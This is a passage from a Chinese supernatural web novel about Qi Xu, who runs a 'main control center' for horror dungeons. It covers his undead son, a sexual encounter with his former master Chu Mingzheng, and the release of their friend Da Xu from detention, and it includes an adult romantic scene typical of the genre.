楚朝手里捧着齐栩递过来的茶水,眼睛亮亮的看着他:“爸爸,你要问我什么?” 齐栩沉吟片刻,似乎在思考怎么开口:“你从生物意义上来讲,究竟是鬼还是人?” “鬼。”楚朝不假思索。 “但是我从心理上来说更偏向于自己是人。”他又补充道:“爸爸,我有人的思想和感情,也能吃一切人类的食物,生理构造也跟正常人相同。” “唯一的区别就是我的身体不运转,睡着的时候不像活人一样有呼吸,有时候睡的时间太久容易被人当尸体埋了,因为看上去我就像真死了。” 齐栩神情凝重的看着他。 “你可以把我当成一个会说话会吃饭会动的尸体。”楚朝兴致勃勃的自我介绍:“而且虽然我是尸体,但是我比活人有用啊!” “我妈跟第二公会干起来的那次,不就是我一路爬过去找的他吗?” 齐栩点了点头:“那倒是。” 齐栩仍然处于一个魂飞天外的状态,他很难想象,他自己还只是个不到二十五岁的年轻人,却拥有了一个十几岁模样的儿子。 这简直太令人匪夷所思了。 正在他胡思乱想的空档,对面楚朝蓦然起身,凌空探身过来,一把握住了齐栩放在茶台旁边的手:“所以说爸爸,你问完了吗?” 齐栩低头看了一眼他冰冰凉凉的手,出于心里那丝并不明显的父爱,没有抽回手:“嗯,问完了。” “那我能问你几个问题吗?”楚朝带着祈求的神色道。 “能。”齐栩舒展了一下筋骨,耐心道:“你问。” “你比我妈小,为什么能当我妈老公?” “万事皆有可能,我第一次见你妈的时候,比你还小一点。” “那你后来为什么能变得比我妈强那么多?” 齐栩眨了眨眼睛,搞不明白为什么今天这群人一个两个都揪着这个问题不放了。 但是楚朝总归是比楚明铮好糊弄一点的,齐栩沉默了片刻,简短的解释道:“想快速成长,多付出一点代价就可以了。” 楚朝坐在他对面,神情茫然,似乎在消化这个对他来说似懂非懂的信息。 齐栩自以为他把这孩子糊弄过去了,心下稍微松了口气,然而下一秒,楚朝忽然从座位上站起来,鼻尖轻轻翳动着,仿佛在细嗅着空气中某种独特而熟悉的气息。 “你怎么了?”齐栩疑惑道。 楚朝停下动作,将那股熟悉的气味来源锁定了面前的齐栩,开口道:“爸爸,我突然知道你为什么能生出我了。” 齐栩:“?” 不是我生的,你妈生的。 “你身上有种跟我一模一样的气息。” 齐栩笑了:“什么气息?” “死人的气息。”楚朝笃定道。 齐栩的脸色终于变了。 楚朝又在空气中嗅了两下,轻声道:“我不会闻错的,你身上有跟我一模一样的死人味道。” “你变强的代价……不会是被鬼神同化吧?” 齐栩似笑非笑的盯着他,他的瞳孔间缓慢的氤氲起深重而浓郁的黑雾,楚朝被他爸突如其来的变异吓得猛然一哆嗦。 齐栩注视着他,目光说不上来的危险:“你觉得呢?” …… 楚明铮躺在床上,睁着眼睛翻来覆去睡不着。 他怎么复盘齐栩一夜登顶的历程,怎么觉得诡异,难道真像外界宣传的一样,这小子是靠自己过了无数副本,直接碾压排行榜所有人,位列榜首最后被主神选中,成为话事人的吗? 问题是要说榜首,楚明铮自己也当了那么多年榜首,没见着哪个鬼哪个神因为他强悍的过副本能力,把他拎过去当主控中心大领导的。 况且就算齐栩过副本的成绩是真实的,那逻辑上也说不过去啊。 主神是副本的缔造者,凌驾于所有副本和恐怖情节之上,祂真的会因为某个蝼蚁爬的比其他蝼蚁快,而心生赞赏,将其提拔而起吗? 楚明铮觉得主神没疯。 窗外夜色晦暗,凉风习习。 楚明铮实在是睡不踏实了,干脆一骨碌爬起来,穿好衣服下床,直奔楼上。 “您去哪儿,楚先生?”值班的警卫惊讶的探头,看着衣衫整齐的楚明铮,疑惑道。 “带我去主控中心,我现在就要见齐栩。” 楚明铮斩钉截铁的说道。 …… 齐栩把儿子吓唬够了,这才将眼中恶鬼般的黑雾徐徐散去,紧接着他站起身来,面无表情的将这小兔崽子从自己的老板椅上拎了起来。 “哎哎哎——爸爸,你要干什么啊!”楚朝连声惨叫。 齐栩不予理会他的哀嚎,顺手从办公室的墙上取了把刀下来,塞到儿子手上,然后不由分说将他拎着走出了门。 门外一众主控中心的下属们朝父子俩行注目礼。 齐栩冷着脸往过一瞥,众人随即纷纷移开目光,开始假装自己很忙,都在专心工作,谁也没往这边看。 楚朝垂死挣扎着被齐栩拎到了主控中心更深处的地方,“滴”的一声,齐栩指纹核验通过,带着儿子长驱直入。 主控中心分三块区域。 前厅,就是各大部门平时办公的区域,中部地带则是非高级成员禁止入内,最后的区域才是安放主神图腾的密室,除齐栩外任何人不得入内。 齐栩眼下带着儿子进来的,就是中部区域。 中部区域的林立着无数稀奇古怪的小玩意儿,有的是雕塑,有的是玩偶,都被特质的栅栏围住,在一个黑暗而虚无的空间里密密麻麻林立,无穷无尽。 像个展品馆。 那都是进入投放的副本入口。 齐栩拉开其中一个铁栅栏的开口,一股冷气霎时间从开口处四散开来,楚朝惊恐的瞪大眼睛:“爸爸!你要干什么!” “我觉得你这个岁数,是时候放进副本里历练历练了。”齐栩和颜悦色的说。 楚朝全身都在抗拒,在齐栩手中拼命挣扎:“不行,不行,我还小——” “我在你这个岁数的时候,我已经被你妈带进副本里反复磋磨了好几年了。”齐栩更加和颜悦色,但是手上力道完全不松,抓着他就往里送:“偶尔还得在副本里一边被你妈折磨,一边跟你亲爱的楚小妙姨妈撕扯,吃你妈的醋,我还回回吃瘪……” “说起来都是泪水,但是我确实觉得你应该多进副本历练,身为独生子女,你肩膀上的担子更重,你最好知道这个事。” “我不知道!我才出生了一个星期不到,你让一个刚出生一个星期的孩子去面对这些啊啊啊——” “一个星期你已经长得很大了。”齐栩安详的说:“这是天赋异禀的表现,越是天赋异禀,就越要给社会做贡献。” 同时手上发力:“所以,去吧儿子。” 他一把将楚朝推进栅栏,周遭空气瞬间扭曲,楚朝顷刻间原地消失了身形。 齐栩心平气和的拍了拍手,转身毫无心理负担的,踱步走回办公室。 然而世事难料,齐栩一走回办公室就仿佛被雷劈了,整个人外焦里嫩震惊在原地。 “师父,你怎么来了!?” 楚明铮坐在他会客的沙发上,面无表情的转过身,抬手示意他关门。 “我当然是来找你,刚才你离开以后,我一个人想了想,觉得有些话,还是跟你说开为妙。”楚明铮心平气和的说。 齐栩简直要疯了:“您有什么话不能在家里说?我又不是不回家,您来我办公室干什么?!” 楚明铮不解的一挑眉:“我为什么不能来你办公室?” “你办公室有见不得人的东西?” “不是……我不是那个意思。”齐栩痛苦的揉搓了一把眉心,解释道:“我的意思是说,主控中心人多眼杂,而且多是唐虞非之流,师父大病初愈,你单独来这里找我,我不放心。” “哦。”楚明铮了然,随即道:“那你现在可以放心了,我已经安全到地方了,你这办公室里安全吗,会有监控和窃听器吗?” 齐栩无奈:“我说师父,您到底要问什么?” “如果还是刚才那个问题,那我就只好强制送你回去,并再次限制你的人身自由了。” 楚明铮一抬手:“我不问那个,但是你得回答我另一个问题。” 齐栩一副完全拿他没办法的苦笑模样:“师父……” 楚明铮深吸一口气,朝他招招手:“你先过来,挨着我坐下。” 齐栩无言的坐过去了,他头一次对楚明铮的主动亲近没表现出喜悦的神色,而是颇为警惕的盯着楚明铮的眼睛,随时准备着动手捂住他的嘴。 然而接下来几个小时,楚明铮的所作所为完全颠覆了他的想象。 “你当时跟我生气,从基地离开之后。”楚明铮逐字逐句的斟酌道:“是不是遇到过很多……不好的事情?” 齐栩一听,心说你这不还是变着法的问我一样的问题吗,当下头疼的用指骨顶了顶太阳穴:“行了楚明铮,我现在不想跟你交流。” 他转头向外,扬声说了句:“来人!送他回……” 齐栩的下半句话被迫硬生生咽了回去。 楚明铮一把攥过他的领子,又狠又重的亲在他的嘴唇上,将他的后半句话彻底的堵了回去,齐栩震惊的瞪大眼睛,简直不敢相信眼前发生的这一切。 楚明铮在亲他? 楚明铮在主动强吻他?! 齐栩只觉浑身上下都被开水浇了一遍,每一寸心神都在肆意尖叫,无休止的渴望熊熊燃烧,瞬间将他胸腔的火顶去了天灵盖。 他下意识的去回吻楚明铮,好巧不巧,刚才门外的副官听见了他喊人的声音,正要推门进来,门把手处传来一声细微的拧动声响。 楚明铮火速从齐栩身边撤开,偏过头去假装若无其事。 焦副官并未察觉异常,探了个脑袋进来:“长官,您吩咐。” 齐栩失魂落魄的摆了摆手:“没事,你出去吧,告诉其他人,今天没有别的事不要来打扰我。” “出去的时候把门带上。” 焦副官虽然被这命令整得二丈和尚摸不着头脑,但是他还是服从的一低头:“是。” 他一出去,齐栩就站起身,快走两步到门前,伸手将门从里侧反锁了,顺带关了两个灯,办公室里仅留了桌子上的那盏台灯,光线瞬间昏暗下来。 齐栩警惕的环顾四周,打开检测设备,确定这个房间里完全没有任何监听或者控制设施的痕迹了之后,他才终于有些气急败坏的回到沙发前,居高临下瞪着楚明铮道:“师父你别闹了,你今晚到底要干什么?” 楚明铮很无辜的摊了一下手,反问道:“谁闹了?” “我亲你一回就算胡闹?那你平时对我的种种行径算什么?”楚明铮变换了一下坐姿,双腿交叠,十指交握在一起,放在膝盖上,气定神闲,一副他才是这间办公室主人的做派。 齐栩被楚明铮堵的一句反驳也说不出口,他又不能对楚明铮施加暴力。 “不是,你——” 他自己把自己气的在办公室里走了一个来回,最终仿佛下定决心似的,返身走到沙发前,单膝在楚明铮腿边跪下来,诚恳的道:“师父,你听我话,你今天晚上先回去。” “你想知道的事情,我会想办法告诉你的,但是现在我真的没办法——” “所以你还是不明白我想跟你表达的意思。”楚明铮开口打断了他。 不知道是不是齐栩的错觉,楚明铮刚才这句话的语气分外温和。 但又不能完全用温和来形容,他眉目间的神色温柔而沉重,恍惚让齐栩想起了当年在大雪天里,第一次遇到楚明铮时,他看着父母双亡,满身是血的自己时,那种悲哀而难过的眼神。 齐栩愣神了片刻,觉得今天的师父很反常,不由自主的放缓了声音,认真道:“师父,你到底怎么了?” 楚明铮注视着他,良久,才把掌心轻轻从膝盖上移开,放到了齐栩的肩上。 “你是我养大的。”他干涩着嗓子道:“又因为我的错误而伤心,离开基地。” “我不知道我不在你身边的时候,你经历了什么,才有的今天这一切。” 齐栩怔怔的看着他。 “你能不能看在我养你一场的份上,起码告诉我,你离开基地之后没受太多委屈,给我个心安,让我不至于……太心疼。” 楚明铮的手指在他的肩头蓦然攥紧,仿佛每一个字都用了他毕生的力气。 齐栩的大脑在嗡嗡作响。 巨大的情感冲击让他难以消化眼前的信息量,他看着楚明铮那张冰冷秀丽的脸,对方清晰的五官在他眼前逐渐变得模糊,氤氲的泪水从眶中蒸腾而起,胸口的酸涩仿佛沉重的顽石,将他压的哽咽难耐。 “你哭什么?”楚明铮笑道。 “我说的是实话。” 齐栩蓦然垂下脑袋,泪水受重力作用打落在楚明铮的膝盖上,他伸手一捂楚明铮的膝盖,将情绪尽力压回去,不想让楚明铮看见自己落泪的神态。 楚明铮松散开两条长腿,俯身伸手,平静的将齐栩搂进了自己怀里。 “好了,你多大了,还哭成这样?” 齐栩呜咽一声,猛然扑上去,伏在楚明铮的肩膀上委屈的呜呜出声:“可是我小时候你不让我哭!我以前一哭你就打我……” 楚明铮:“……” 这孩子记仇的毛病究竟什么时候能改掉。 “那你哭,你现在哭,我不打你。”楚明铮无可奈何的说。 齐栩把眼泪抹了楚明铮一肩膀,他身体滚烫,往楚明铮身上一趴就没完没了,弄的楚明铮上不去下不来,身上又沉又湿又热。 “哎你——你就算对我有童年阴影,也不是这么个报复法,起来,起来,你压死我了……” 齐栩眼眶红红的从他怀里爬起来了。 继续眼眶红红的跟他对视。 楚明铮很快就受不了这目光了,他难得跟齐栩敞开心扉一次,谁能想到这人就被刺激成了这样。 楚明铮有点后悔,但是他又拉不下脸把刚才的话收回来,干脆自暴自弃道:“总之我就是这么想的,你要是还是不愿意说,那就算了。” “我也不逼你。” 齐栩喉结上下滚动片刻,他看着楚明铮一张一合的嘴唇,忍不住咽了咽口水。 楚明铮仍然端庄的坐在沙发上,只不过他此时端详着齐栩的脸色,半晌轻微的皱了一下眉,吩咐道:“过来。” 齐栩不明所以,但还是靠近了。 楚明铮低头吻上了他的嘴唇,这是今天晚上第二次。 此时办公室的门已经锁好了,光线也打的暧昧而昏沉,不用担心有人进来。 齐栩顺着楚明铮的力道缓缓向前,不多时就把楚明铮从端坐着的姿态推倒在了沙发上,楚明铮靠在沙发上,仰起漂亮而纤长的脖颈,迎合着跟他接吻。 齐栩觉得自己的脑袋晕乎乎的,他没想明白,楚明铮今晚为什么这么主动。 “你的办公室……隔音如何?”楚明铮喘息着问他。 “很好,你只要不在里边大喊大叫,外边就什么都听不见。” “刚才你副官都听见了。”楚明铮屈起长腿,引诱似的顶了一下齐栩的小腹,昏暗之中,齐栩的眼睛更红了。 “那是我没锁门。”齐栩艰难的回答:“锁门后,才会开启屏蔽模式。” 楚明铮轻轻的笑了一声,音色柔软而温和。 他明显感觉到,齐栩快控制不住了,但他却仍然屈起膝盖,不让齐栩彻底的近身:“那你在办公室里做这种事,不怕主神看见?” 齐栩终于忍到了爆发的临界点,他猛然伸手穿过楚明铮的腋下,将人从沙发上半捞着拖到地上。 楚明铮下意识惊喘一声,紧接着就被齐栩逼迫着背身过去,双手扶住皮质沙发的边缘,被迫跪在地上,双膝分开,动弹不得。 这个姿势极其屈辱,但是楚明铮硬咬着牙,没吭一声。 他知道今天晚上的一切都是他自找的。 齐栩一手搂着他的腰身,一手伸到前边,去抬起他的下颌,让他的脑袋被迫向后仰,敏感的耳畔被齐栩湿热的嘴唇紧密的贴着。 “放心,师父,祂看不到这里。” 齐栩密集而凶狠的折磨着他,衣衫和皮带凌乱的被抛到了沙发的另一侧。 楚明铮浑身都在往外渗冷汗,手心里的汗水很快濡湿了沙发的表皮,他的掌心变得滑腻而湿润,几乎支撑不住身后压迫的力道,整个人虚软无力,打着滑往下磕碰。 好在齐栩及时的攥住了他的手腕,不让他再去扶沙发了。 他此时彻底失去支撑,浑身的着力点只有身后的齐栩。 楚明铮被那强而有力的控制感逼的泪水汹涌,齐栩搂着他的腰,怎么都不肯松开他,楚明隐忍到了极点,满身都是濡湿的绯色。 “你可以出声。”齐栩小声道:“我说了,这儿隔音效果很好。” “而且这会儿正是加班的点,外边的人都很忙,不会听到任何声音的。” 楚明铮听了这话,浑身更是紧张的一颤,湿淋淋的水色潺潺涌出,他自始至终紧咬着牙,死都不肯再发出一声了。 不知道过了多久,楚明铮已经被抽干了所有力气,最后已经是精疲力尽的伏在齐栩臂弯里了。 “你好了没有……” 齐栩仍然搂着他不松手,他将唇吻深埋进楚明铮深陷下去的锁骨里,迷恋而依依不舍的又磨蹭了数下,最后低声道:“师父,我不知道你今晚是真情实感,还是只是想从我这儿得到你想知道的东西……” “但是你今天跟我说这些,我真的好高兴。” 他说着说着眼眶又红了,语调里再次带上哽咽。 饶是楚明铮体力告罄,已经濒临昏迷了,听了这话还是忍不住怒火中烧,勉强支撑起最后一点力道,扬手在他脖子上抽了一巴掌。 “你他妈有病是不是?” “我都允许你这样了!我还不够真情实感?” 楚明铮气息虚弱,咬牙切齿,只觉今晚一腔柔软喂了狗。 “滚远点,衣服拿给我!”他一把推开齐栩,摇摇晃晃的起身去找衣服。 然后他腿一软,蓦然跪地,膝盖跟地面接触,发出“咚!”的一声砸响。 齐栩牙疼的抽搐了一下,连忙起身去扶他,楚明铮果然疼的呲牙咧嘴,被搀扶着坐起来之后,再没力气发脾气了。 半个小时后,地下停车库。 楚明铮神情痛苦的坐在后排,不耐烦的道:“我们到底在等什么,为什么不能直接回家?” 他现在什么都不想干,只想回齐栩的府邸去洗个澡。 “等儿子放学。”齐栩平心静气的答道。 楚明铮:“啊?” 没过多久,焦副官就带着一身破破烂烂的楚朝,从地下室入口里走进来了。 楚明铮眉心一跳,心说这孩子怎么弄成这副样子了? 被齐栩送去当叫花子了么? 齐栩在后视镜上瞥了他一眼,没做过多的解释。 焦副官将楚朝领到了车前,恭敬的开门让他上去,自己很有眼色的换了辆车回府邸,没跟着他们一家三口一起走。 “你这怎么搞的?”楚明铮看着楚朝这副狼狈的模样,顾不得自己身体疼痛疲倦,开始大惊小怪道。 “妈——”楚朝在副本里受了一肚子委屈,此时终于找到一个发泄的出口,张大双臂就朝楚明铮飞扑过去了。 楚明铮不得不伸手接他,以防这孩子表演空中飞人砸死自己。 尽管有所准备,楚朝砸到他身上的那一刻,楚明铮还是被牵动了后边的伤口,疼的一个哆嗦,苍白着嘴唇,抽着冷气说不出来话。 楚朝对他爸妈刚才在主控中心办公室里的行径一无所知。 他往楚明铮大腿上一扑,就开始控诉自己从被齐栩带到主控中心,到被齐栩恐吓,紧接着再被逼迫着进入副本,在副本里跟无数鬼怪斗智斗勇,全力搏杀,搏杀到最后衣服都全被撕烂了,只剩下一条内裤的惨烈战绩。 “我就那么光着出来了!”楚朝嚎啕大哭。 “我在主控中心的走廊里走了一路没见着你俩人,我一路走,那些人一路都看我!” 齐栩一边开车一边忍笑:“你不穿衣服,他们不看你看谁?” “你还好意思说啊爸爸!要不是你,我会光着在你办公室门口招摇过市吗!我不要面子的吗!”楚朝嚎的声音更大了。 楚明铮脸色一变:“不许喊他爸爸!” 楚朝茫然:“为什么?不是你俩在天家村一起生下我的吗?” 齐栩从后视镜里笑着跟楚明铮对视:“没事,你妈脸皮薄,不叫就不叫。” “那我喊他什么?”楚朝闻言去请教楚明铮:“妈妈,你说让我喊什么,我就喊什么!” 楚明铮冷冷一勾嘴角:“喊哥哥。” 齐栩:“?” 楚朝:“???” “怎么了,他称呼我为师父,你称呼我叫妈妈,按辈分来算,你不就应该喊他哥哥吗?”楚明铮一脸寻衅报复的微笑。 齐栩磨了磨牙,没说什么,心道刚才在办公室就不应该对你手软的。 轿车驶过崭新整洁的柏油马路,道旁杨柳树荫迎风飘散,掠起细碎而无尽的阴影。 楚明铮一直等到回家以后,打发走楚朝和齐栩,自己走进浴室开始洗澡才想起来,齐栩仍然没有告诉自己,他在那几年里到底经历了什么。 他一身酸痛,看着镜子里自己一片狼藉的身体,心情不免又烦躁起来。 花洒里喷出汩汩热水,冲刷着他黏腻的身躯,楚明铮一边想事情,一边将花洒的水开的更大。 浴室门外有人敲了敲门,传来楚小妙的声音:“哥哥!” 楚明铮关掉花洒:“怎么了?” “那个……齐栩刚才说,他主控中心还有事,就不进来帮你了,你自己能行吧?”楚小妙犹豫着问。 楚明铮下意识想反驳说洗个澡他有什么不行的,紧接着就反应过来齐栩话中的另一层含义,不由的耳朵通红,冷声呵斥道:“我当然能行!” “你下次别给他传话,让他自己过来跟我说!” 楚小妙不明所以,但还是点了点头:“好的,哥哥。” 楚朝眼巴巴的站在她身后:“姨妈。” “嗯?”楚小妙转过头,态度很好的应声道。 她对这个小鬼婴变得美少年有种天然的好感,这种好感一度压过了美少年生父是齐栩这件事带给他的膈应。 “我爸不让我喊你姨妈。”楚朝犹豫道:“这怎么办?” 楚小妙火气一升,心里将齐栩骂了八百个来回不带拐弯,面上却仍然对楚朝和颜悦色:“没关系呀,你听他的干什么,以后你就会知道了。” “这个家,你听我哥一个人的话就够了。” …… 楚明铮重新拧开花洒,任由温热的水流遍布他的全身。 他心里又升起了另一个问题。 齐栩刚把他送回府邸,就又驱车返回主控中心了? 这人每天到底有多少事要忙? 他不需要休息的吗? 楚明铮看着浴室里缭绕的雾色,身上火烧火燎的又开始泛疼,他很快就没精力想这茬了。 …… 主控中心,禁闭四区。 齐栩拢起风衣,站在等候区来回打转,几个身穿制服的工作人员快速铁栅栏的另一边跨步出来,朝他恭恭敬敬的一鞠躬:“齐长官,手续已经全部办理齐全,人已经放出来了,他最后收拾几个东西,很快就带他来见您。” 齐栩幅度不大的点头致意,表示感谢,辛苦了。 又过了一刻钟,禁闭区里缓缓走出来一个高大的身影。 那人身高与齐栩差不多,都是一米八七接近一米九的身形,然而块头却比齐栩足足大了几圈,一身的腱子肉,壮硕而伟岸。 齐栩方才一直紧绷着的神情终于松动了下来,他快步走上前,倾身跟这位刚刚释放出来的囚犯短暂的拥抱了一下。 “大徐。”齐栩如释重负道。 囚犯一边跟他拥抱,一边咧开嘴笑:“小齐。” “没受委屈吧?”齐栩一边带着他往外走,一边关切的问。 “没有,有你发话,谁敢给我委屈受?”高壮的男人肩上扛着从禁闭区带出来的日常生活用品,满满当当一大包,看的齐栩颇为心酸,上手就拎。 “把这些扔了,在外边用不着。” 大徐将包袱换了只手背,绕开了齐栩的动作,故作神秘的朝他摆了摆手指:“好东西,回去给你看。” 齐栩哭笑不得。 此人本名徐晨溯,由于体型过大,旁人都喊他“大徐”,是楚明铮原先基地里的重要成员,也是楚明铮从前的左膀右臂之一。 大徐虽然长得吓人,但实则内心极其细腻,他喜欢小孩。 齐栩小时候在基地里,一半时间是楚明铮带着他进副本,积攒实战经验,另一半时间就是跟大徐一起。 大徐在基地的沙土地是,叫他使弹弓,扔飞镖…… 齐栩在那个时候就跟他建立了浓厚的革命友情,后来齐栩和楚明铮出现那一系列变故,大徐虽然难过,但也没有勉强齐栩一定要重回基地,他觉得齐栩本质上心地纯良,不会做恶,总有一天会重返基地,跟他们并肩作战的。 再后来楚明铮身死,基地的人对齐栩恨之入骨,大徐终于对齐栩死心了,一气之下在副本里重伤了焦副官他弟,也就是齐栩的第二个副官,被带走关进禁闭区。 禁闭区是齐栩管辖的地盘,齐栩当然有权出入禁闭区,也有权提审犯人。 也就是等大徐彻底的沦为阶下囚后,齐栩才有机会将他跟楚明铮来龙去脉,包括他想尽办法复生楚明铮的事,给大徐解释清楚。 把话说明白的那天,两人隔着会见室的玻璃,都如释重负的出了口长气。 只是和解归和解了,刑期该多久还得是多久,大徐在禁闭区足足耗了几个月才出来。 齐栩带他上车,心里说不上来是什么滋味。 现在师父也是他的了,朋友也是他的,一切都好像回到了十几岁的原点,那些在基地的庇护下,平静而温馨的岁月。 车窗外风景一路倒退,大徐饶有兴趣的打量着窗外,转头问齐栩:“我进去这么长时间,你跟他怎么样了?” “和好了没有?” “我跟你说,师徒没有隔夜仇,他当年挺在乎你的,我知道你也在乎他,你俩好好把话说开,比什么都强,听到了没有?” 齐栩一只手搭在车窗沿,一只手扶着方向盘,神色愉悦而漫不经心。 “当然和好了。” “哦对了,忘了告诉你,我跟楚明铮,现在有了一个孩子。” 大徐:“??!”—— 作者有话说:朋友们,你们有没有月石[爆哭][爆哭]能不能给我空投一点,跪求《 》 70-75 第71章 “我爸就是齐栩!”…… 楚明铮洗完澡就回卧室睡觉了,这是他很多天以来,睡的第一个完整的好觉。 大概是天快要亮起来的时候,卧室门外传来一点细微的脚步声,那声音窸窸窣窣的钻进楚明铮的耳朵。 地下卧室的门锁只有齐栩和他两个人的指纹录入,来者也只可能是齐栩。 楚明铮听到了动静,但却没有防备,翻了个身继续睡了。 没过一会儿,齐栩果然摸黑翻上了床,柔软的床铺随着他的动作而向下一陷。 楚明铮不耐烦的用手肘去顶他:“别动我,下去。” 齐栩费劲的将手臂从他脑袋底下伸出去,一路摸索到楚明铮的肩膀,另一只手顺带将他腰身一搂,两个动作行云流水,直接将楚明铮抱到了臂弯里。 “师父……”齐栩温热的鼻息喷薄在楚明铮的耳畔,又黏糊又缱绻。 楚明铮睡梦中嫌他身上热,忍不住挣动着想往外蛄蛹,没蛄蛹出去两步,就被齐栩攥着腰身拖了回来。 “松手……别用那儿顶着我。”楚明铮含混的骂道。 他实在是太累了,骂人的时候眼睛还是闭着的,从沙漠副本到现在,他一直处于精神高度紧绷的状态,好不容易松懈下来,又有人过来打扰清梦,简直烦不胜烦。 齐栩从身后固定住他的腰,不让他动,另一只手臂仍然环过他的肩膀,心满意足的将下颌搁在楚明铮的肩头。 他就这么无声的在师父身后搂了一会儿。 楚明铮刚开始还不悦的挣扎,后来渐渐就不动了,认命般的在齐栩怀里的闭上眼睛,就着这个姿势重新进入梦乡。 再有意识的时候,窗外天光已经大亮了。 楚明铮还是不想起,卷着被子一动不动。 “师父,师父?”齐栩小心翼翼的拍了拍他的肩膀,喊他起床。 楚明铮不动。 “师父,我事情跟你说。”齐栩继续好言相劝。 楚明铮继续装聋。 “……” 下一秒,楚明铮身体骤然一腾空,被齐栩卷着被子从床上一捞而起,周遭一阵凉飕飕的冷风钻进被角,这回终于把楚明铮彻底整清醒了。 他睁眼的瞬间抬手勾住齐栩脖颈,猛然发力,逼着他头颅向下,一个趔趄摔在床褥间,齐栩哭笑不得,心说我喊你起床,你怎么还还手? 不过齐栩的反应也丝毫不慢,摔倒的瞬间顺手将楚明铮的脚踝一握,逼的他下盘不稳,闷哼一声,重重摔在自己身上。 拉扯缠斗间被褥被扔到空中,此刻又顺着重力,重新跌落下来,覆盖在两人的身形之上。 视线登时变得昏暗而迷惘,被褥交缠间暖意融融,晨光温柔,洒落一方天地。 “师父,你没事吧?”齐栩躺在床上探起脑袋:“摔疼了吗?” 楚明铮伏在他身上,痛苦的喘息了几下,脱力般从他身上翻滚下去,被齐栩眼疾手快起身扶好了。 一刻钟后,楚明铮站在镜子前洗漱,一边吐掉嘴里的泡泡,一边匪夷所思的道:“我说你这个人……每天都不用睡觉的吗?” “昨天回来都那么晚了,你又回主控中心干什么去了?” 齐栩笑眯眯的站在身后看着他刷牙,心情很好的道:“师父,你关心我啊?” 楚明铮用力将毛巾往他怀里一摔:“我闹心你早上过来吵我!” 等到楚明铮一切都收拾好了,这才从穿衣镜里瞥了一眼齐栩:“行了,说吧,这么早过来喊我起床,有什么事?” 齐栩微微一笑:“你过来就知道了。” 楚明铮跟在齐栩身后,一路来到了西苑,他路上隐约猜到了什么,但是又不是很敢确定。 直到西苑一楼的大门打开,大徐那高壮的身影闪身出现在了他面前。 楚明铮神色骤转欣喜,快走两步跑上前:“大徐!” “楚哥!”大徐俯下身,一把将楚明铮抱了个满怀。 齐栩在旁边笑眯眯的看着这一幕,眼中神情灵动,似乎是在说,看吧师父,我知道你会开心的。 楚明铮松开他,后退两步,上上下下的将大徐全身检查了一遍,急切的问:“怎么样,没受伤吧,在里面有没有受委屈?” 大徐挠着头看向齐栩,不由自主的笑道:“你们两个怎么见我第一句话都是这个……当然没有了,禁闭区归小齐管,小齐又不是坏人。” 楚明铮瞥了一眼齐栩,齐栩挑了挑眉,算是回应。 “这点我可没看出来。”楚小妙从大徐身后闪了出来,朝齐栩吐了吐舌头,做鬼脸道。 齐栩保持着端庄的微笑,朝楚小妙侧目过去。 楚小妙不甘示弱的回瞪着他。 两人像小时候一样,眼神针尖对麦芒,谁也不肯让谁。 楚明铮没功夫注意这边的情况,他正忙着跟大徐问这几个月的情况,以及自己死而复生的身体痊愈状态。 齐栩趁着这个空档,压低声音,语速很快的对楚小妙说了句话,气的楚小妙当场险些把眼珠子从眶中瞪出来。 齐栩说:“那又怎么样,你哥现在已经是我的了。” 马飞仙和冉云帆几人听到动静,也跟着从住处溜达出来,站在中厅里看着眼前这一幕。 “我说小齐,你这又是何苦。”马飞仙幽幽怨怨的开口道:“你根本就不想离开基地,当年还非要赶时髦,玩个离家出走,完了又后悔,又回来把你师父带走,再把大徐抓了……现在兜转了一大圈,又重新把我们这群人聚集在你家里了。” “我都不知道该说你是什么毛病了。” 楚小妙“扑哧”一笑,瞅着齐栩就开始乐不可支,幸灾乐祸的补充道:“那可能是闲得慌吧,谁能懂他呢。” 齐栩的表情看上去很想把马飞仙和楚小妙两个人打包丢出府邸。 他思索半晌,皮笑肉不笑的压低声音,选择继续气死楚小妙:“可是,如果我没站在今天这个位置的话,你哥也不会跟我……” 楚小妙怒吼一声,抄起旁边扫帚就打,齐栩闪电般起跳躲避,三步并作两步蹿到楚明铮身后。 楚明铮正跟大徐说话,被他俩弄的东倒西歪摇摇晃晃:“你们两个!” 齐栩和楚小妙谁都顾不上理他,一路追打出院子。 楚明铮无可奈何转身,刚要出声喝止他俩,却被大徐拦住了:“等等,楚哥,不用管。” “你不觉得他俩这样就挺好的吗?像他俩小时候,我们还年轻那阵,在基地里一样。” 大徐和煦的注视着齐栩和楚小妙的身影,目光像一潭平静而温润的水,缓慢流淌。 “而且我觉得他俩虽然从小到大见了彼此都像斗鸡眼似的……但是他们能把关系处好的,你不用担心。” 楚明铮无言的转过头:“你是从哪儿看出来的?” “很简单,因为他们两个都爱你。” 大徐的语气很平淡,然而落在楚明铮耳中,却仿佛投石入水,哗然震荡起温暖的涟漪。 接下来的几个星期过的都很平静,这种安详的日子对于他们这群人来说并不多见,所以显得弥足珍贵。 楚朝凭借他优越的颜值和超高的情商,迅速的跟西苑的人混熟了,每天到西苑去玩耍,马飞仙拎着珍藏多年的塔罗和八卦教他算命。 算来算去算的马飞仙焦头烂额。 “不对啊小楚朝,你这生辰八字是不是记错了?” “不然为什么算出来所有的走向,都是死路?” 楚朝盘腿坐在他身侧,闻言探了个脑袋过去,十分认真的想了想,随即了然大笑起来:“因为我本来就是个死人嘛!” “我就没活过,算出来当然都是死路了!” 马飞仙将手里牌纸一扔,跟他一起放声大笑,空气里满是欢乐的气息。 …… 楚明铮在花园里兴趣缺缺的浇花。 最近没有副本让他过,出于安全考虑,他也不能在没人陪同的情况下随意出府邸溜达。 楚明铮感觉自己每天都在地下室里长蘑菇。 齐栩依然很忙,楚明铮大部分时间见不到他人,为数不多见他的时候,都是在晚上关着灯的情境下。 ……那种时候说实话,楚明铮基本也没力气跟齐栩有太多交流。 他心里一直惦记着主神的事,经常性的心不在焉。 祝檀雪来取材料的时候,偶尔会跟他打个招呼,说几句话。 有一次她下车进府邸的时候,身后还跟了一个人。 那是一位个子不高的男人,身材中等,穿着主控中心标志性的那身黑色制服,胸前别了个银色胸针,胸针的样式很别致,随着他走路的步伐频率一闪一闪的。 楚明铮坐在花园的秋千上,若有所思的看着那枚胸针。 如果他没记错的话,这是几大公会会长的特定标识。 他在唐虞非的胸前,见过一模一样的。 那人跟在祝檀雪身后,没走几步,就看见了秋千上的楚明铮,眼里立刻流露出惊奇的神色:“楚明铮!” “你居然真的活过来了!” 楚明铮这才认出眼前是何许人也。 正是当年被齐栩赶下台的上任第一公会会长周自重,据说唐虞非死后,他现在接任第二公会。 